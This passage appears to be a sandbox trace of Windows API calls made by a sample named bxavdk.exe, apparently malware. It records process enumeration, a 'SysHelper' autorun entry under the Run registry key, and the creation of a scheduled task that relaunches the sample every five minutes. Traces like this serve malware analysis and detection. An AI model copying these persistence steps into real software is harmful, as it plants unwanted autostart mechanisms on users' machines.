[0051.032] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.033] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x2c0000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="extremely-falls.exe") returned 0x13 [0051.033] CloseHandle (hObject=0x5a0) returned 1 [0051.034] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7c8) returned 0x5a0 [0051.034] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.034] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x11a0000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="sims.exe") returned 0x8 [0051.035] CloseHandle (hObject=0x5a0) returned 1 [0051.035] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x488) returned 0x5a0 [0051.035] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.036] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x1250000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="approaches-regular-pit.exe") returned 0x1a [0051.036] CloseHandle (hObject=0x5a0) returned 1 [0051.036] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x324) returned 0x5a0 [0051.036] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.037] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x1310000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="ear-suse.exe") returned 0xc [0051.037] CloseHandle (hObject=0x5a0) returned 1 [0051.037] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7b8) returned 0x5a0 [0051.037] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.038] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x13d0000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="effective-personals-dinner.exe") returned 0x1e [0051.038] CloseHandle (hObject=0x5a0) returned 1 [0051.038] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x494) returned 0x5a0 [0051.038] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.039] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xcb0000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="tag.exe") returned 0x7 [0051.039] CloseHandle (hObject=0x5a0) returned 1 [0051.039] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc4) returned 0x5a0 [0051.039] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.040] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x830000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="citation.exe") returned 0xc [0051.041] CloseHandle (hObject=0x5a0) returned 1 [0051.041] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5d8) returned 0x5a0 [0051.041] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.041] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xd40000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="traveling_beam_filing.exe") returned 0x19 [0051.042] CloseHandle (hObject=0x5a0) returned 1 [0051.042] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x274) returned 0x5a0 [0051.042] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.043] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x1100000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="observed entire apparent.exe") returned 0x1c [0051.043] CloseHandle (hObject=0x5a0) returned 1 [0051.043] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7bc) returned 0x5a0 [0051.043] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.044] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x940000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="incidents blind lingerie.exe") returned 0x1c [0051.044] CloseHandle (hObject=0x5a0) returned 1 [0051.044] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x814) returned 0x0 [0051.044] CloseHandle (hObject=0x0) returned 0 [0051.044] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xaa4) returned 0x5a0 [0051.044] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 0 [0051.044] CloseHandle (hObject=0x5a0) returned 1 [0051.044] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xad8) returned 0x5a0 [0051.044] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.045] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x400000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="bxavdk.exe") returned 0xa [0051.046] CloseHandle (hObject=0x5a0) returned 1 [0051.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x28) returned 0x6827d0 [0051.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x6aa448 [0051.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3170560 [0051.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3195bc0 [0051.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x6ac928 [0051.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x6acb90 [0051.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3180848 [0051.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3180ab0 [0051.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3180d18 [0051.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3180f80 [0051.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31811e8 [0051.046] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e6f0 | out: phkResult=0x18e6f0*=0x5a0) returned 0x0 [0051.046] RegQueryValueExW (in: hKey=0x5a0, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18e6ec, lpData=0x18ce18, lpcbData=0x18e6d0*=0x400 | out: lpType=0x18e6ec*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe\" --AutoStart", lpcbData=0x18e6d0*=0xd4) returned 0x0 [0051.046] RegCloseKey (hKey=0x5a0) returned 0x0 [0051.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x6ae1a8 [0051.046] lstrlenA (lpString="\" --AutoStart") returned 13 [0051.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185020 [0051.046] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ae1a8 | out: hHeap=0x5d0000) returned 1 [0051.046] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe") returned 1 [0051.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x31850e8 [0051.046] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185020 | out: hHeap=0x5d0000) returned 1 [0051.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185020 [0051.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x31851b0 [0051.047] CoInitialize (pvReserved=0x0) returned 0x0 [0051.054] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0051.054] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185278 [0051.055] CoCreateInstance (in: rclsid=0x44ffcc*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x44ff4c*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x18e6dc | out: ppv=0x18e6dc*=0x26b08b8) returned 0x0 [0051.060] TaskScheduler:ITaskService:Connect (This=0x26b08b8, serverName=0x18e168*(varType=0x0, wReserved1=0x7715, wReserved2=0xe0d2, wReserved3=0x7715, varVal1=0x5f, varVal2=0xc0), user=0x18e178*(varType=0x0, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1=0x0, varVal2=0xc8), domain=0x18e188*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), password=0x18e198*(varType=0x0, wReserved1=0x318, wReserved2=0xe684, wReserved3=0x18, varVal1=0x41720b, varVal2=0x5d0000)) returned 0x0 [0051.062] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x3194fd8 [0051.062] TaskScheduler:ITaskService:GetFolder (in: This=0x26b08b8, Path="\\", ppFolder=0x18e6e4 | out: ppFolder=0x18e6e4*=0x26b0920) returned 0x0 [0051.062] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3194fd8 | out: hHeap=0x5d0000) returned 1 [0051.062] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x3194fd8 [0051.063] ITaskFolder:DeleteTask (This=0x26b0920, Name="Time Trigger Task", flags=0) returned 0x0 [0051.099] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3194fd8 | out: hHeap=0x5d0000) returned 1 [0051.099] TaskScheduler:ITaskService:NewTask (in: This=0x26b08b8, flags=0x0, ppDefinition=0x18e6e8 | out: ppDefinition=0x18e6e8*=0x26b0950) returned 0x0 [0051.099] TaskScheduler:IUnknown:Release (This=0x26b08b8) returned 0x1 [0051.099] ITaskDefinition:get_RegistrationInfo (in: This=0x26b0950, ppRegistrationInfo=0x18e6bc | out: ppRegistrationInfo=0x18e6bc*=0x26b0a10) returned 0x0 [0051.099] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x3195008 [0051.099] IRegistrationInfo:put_Author (This=0x26b0a10, Author="Author Name") returned 0x0 [0051.099] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3195008 | out: hHeap=0x5d0000) returned 1 [0051.099] IUnknown:Release (This=0x26b0a10) returned 0x1 [0051.099] ITaskDefinition:get_Principal (in: This=0x26b0950, ppPrincipal=0x18e6c4 | out: ppPrincipal=0x18e6c4*=0x26b0ba0) returned 0x0 [0051.100] IPrincipal:put_LogonType (This=0x26b0ba0, LogonType=3) returned 0x0 [0051.100] IUnknown:Release (This=0x26b0ba0) returned 0x1 [0051.100] ITaskDefinition:get_Settings (in: This=0x26b0950, ppSettings=0x18e6cc | out: ppSettings=0x18e6cc*=0x26b0ac0) returned 0x0 [0051.100] ITaskSettings:put_StartWhenAvailable (This=0x26b0ac0, StartWhenAvailable=1) returned 0x0 [0051.100] IUnknown:Release (This=0x26b0ac0) returned 0x1 [0051.100] ITaskSettings:get_IdleSettings (in: This=0x26b0ac0, ppIdleSettings=0x18e6b0 | out: ppIdleSettings=0x18e6b0*=0x26b0b30) returned 0x0 [0051.100] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x3195008 [0051.100] IIdleSettings:put_WaitTimeout (This=0x26b0b30, WaitTimeout="PT5M") returned 0x0 [0051.100] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3195008 | out: hHeap=0x5d0000) returned 1 [0051.100] IUnknown:Release (This=0x26b0b30) returned 0x1 [0051.100] ITaskDefinition:get_Triggers (in: This=0x26b0950, ppTriggers=0x18e6ac | out: ppTriggers=0x18e6ac*=0x26b0a80) returned 0x0 [0051.100] ITriggerCollection:Create (in: This=0x26b0a80, Type=1, ppTrigger=0x18e6b8 | out: ppTrigger=0x18e6b8*=0x26b0c00) returned 0x0 [0051.100] IUnknown:Release (This=0x26b0a80) returned 0x1 [0051.100] IUnknown:QueryInterface (in: This=0x26b0c00, riid=0x45004c*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x18e6d4 | out: ppvObject=0x18e6d4*=0x26b0c00) returned 0x0 [0051.100] IUnknown:Release (This=0x26b0c00) returned 0x2 [0051.100] ITrigger:get_Repetition (in: This=0x26b0c00, ppRepeat=0x18e6c0 | out: ppRepeat=0x18e6c0*=0x26b0c50) returned 0x0 [0051.101] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x3195008 [0051.101] IRepetitionPattern:put_Interval (This=0x26b0c50, Interval="PT5M") returned 0x0 [0051.101] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3195008 | out: hHeap=0x5d0000) returned 1 [0051.101] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x3195008 [0051.101] IRepetitionPattern:put_Duration (This=0x26b0c50, Duration="") returned 0x0 [0051.101] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3195008 | out: hHeap=0x5d0000) returned 1 [0051.101] ITrigger:put_Repetition (This=0x26b0c00, Repetition=0x26b0c50) returned 0x0 [0051.101] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x3195008 [0051.101] ITrigger:put_Id (This=0x26b0c00, Id="Trigger1") returned 0x0 [0051.101] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3195008 | out: hHeap=0x5d0000) returned 1 [0051.101] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x3195008 [0051.101] ITrigger:put_EndBoundary (This=0x26b0c00, EndBoundary="2030-05-02T08:00:00") returned 0x0 [0051.101] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3195008 | out: hHeap=0x5d0000) returned 1 [0051.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e194 | out: lpSystemTimeAsFileTime=0x18e194*(dwLowDateTime=0xabd10770, dwHighDateTime=0x1d54670)) [0051.101] GetLastError () returned 0x0 [0051.101] SetLastError (dwErrCode=0x0) [0051.101] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x24) returned 0x31c8840 [0051.101] GetLastError () returned 0x0 [0051.101] SetLastError (dwErrCode=0x0) [0051.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0051.101] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1f) returned 0x317fea8 [0051.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x317fea8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0051.102] GetLastError () returned 0x0 [0051.102] SetLastError (dwErrCode=0x0) [0051.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x311baf0 [0051.102] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x311baf0) returned 0x4 [0051.102] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x311baf0, Size=0x8) returned 0x311bb00 [0051.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0051.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x36) returned 0x696358 [0051.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x696358, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0051.102] GetLastError () returned 0x0 [0051.102] SetLastError (dwErrCode=0x0) [0051.102] GetLastError () returned 0x0 [0051.102] SetLastError (dwErrCode=0x0) [0051.102] GetLastError () returned 0x0 [0051.102] SetLastError (dwErrCode=0x0) [0051.102] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x311bb00) returned 0x8 [0051.102] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x311bb00, Size=0xc) returned 0x3195008 [0051.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0051.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x37) returned 0x31bede0 [0051.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x31bede0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0051.102] GetLastError () returned 0x0 [0051.102] SetLastError (dwErrCode=0x0) [0051.102] GetLastError () returned 0x0 [0051.102] SetLastError (dwErrCode=0x0) [0051.102] GetLastError () returned 0x0 [0051.102] SetLastError (dwErrCode=0x0) [0051.102] GetLastError () returned 0x0 [0051.102] SetLastError (dwErrCode=0x0) [0051.102] GetLastError () returned 0x0 [0051.102] SetLastError (dwErrCode=0x0) [0051.103] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x3195008) returned 0xc [0051.103] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x3195008, Size=0x10) returned 0x3195038 [0051.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0051.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3c) returned 0x3186ec8 [0051.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x3186ec8, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0051.103] GetLastError () returned 0x0 [0051.103] SetLastError (dwErrCode=0x0) [0051.103] GetLastError () returned 0x0 [0051.103] SetLastError (dwErrCode=0x0) [0051.103] GetLastError () returned 0x0 [0051.103] SetLastError (dwErrCode=0x0) [0051.103] GetLastError () returned 0x0 [0051.103] SetLastError (dwErrCode=0x0) [0051.103] GetLastError () returned 0x0 [0051.103] SetLastError (dwErrCode=0x0) [0051.103] GetLastError () returned 0x0 [0051.103] SetLastError (dwErrCode=0x0) [0051.103] GetLastError () returned 0x0 [0051.103] SetLastError (dwErrCode=0x0) [0051.103] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x3195038) returned 0x10 [0051.103] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x3195038, Size=0x14) returned 0x679488 [0051.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0051.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x31) returned 0x31bed60 [0051.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x31bed60, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0051.103] GetLastError () returned 0x0 [0051.103] SetLastError (dwErrCode=0x0) [0051.103] GetLastError () returned 0x0 [0051.103] SetLastError (dwErrCode=0x0) [0051.103] GetLastError () returned 0x0 [0051.103] SetLastError (dwErrCode=0x0) [0051.103] GetLastError () returned 0x0 [0051.104] SetLastError (dwErrCode=0x0) [0051.104] GetLastError () returned 0x0 [0051.104] SetLastError (dwErrCode=0x0) [0051.104] GetLastError () returned 0x0 [0051.104] SetLastError (dwErrCode=0x0) [0051.104] GetLastError () returned 0x0 [0051.104] SetLastError (dwErrCode=0x0) [0051.104] GetLastError () returned 0x0 [0051.104] SetLastError (dwErrCode=0x0) [0051.104] GetLastError () returned 0x0 [0051.104] SetLastError (dwErrCode=0x0) [0051.104] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x679488) returned 0x14 [0051.104] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x679488, Size=0x18) returned 0x679908 [0051.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0051.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x17) returned 0x679488 [0051.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x679488, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0051.104] GetLastError () returned 0x0 [0051.104] SetLastError (dwErrCode=0x0) [0051.104] GetLastError () returned 0x0 [0051.104] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x679908, Size=0x1c) returned 0x317fed0 [0051.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0051.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x24) returned 0x31c8870 [0051.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x31c8870, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0051.104] GetLastError () returned 0x0 [0051.104] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x317fed0, Size=0x20) returned 0x317fef8 [0051.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0051.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x14) returned 0x679908 [0051.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x679908, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0051.104] GetLastError () returned 0x0 [0051.104] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x317fef8, Size=0x24) returned 0x31c8a20 [0051.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xd) returned 0x3195038 [0051.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x3195038, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0051.105] GetLastError () returned 0x0 [0051.105] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x31c8a20, Size=0x28) returned 0x31c89f0 [0051.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0051.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x25) returned 0x31c8a20 [0051.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x31c8a20, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0051.105] GetLastError () returned 0x0 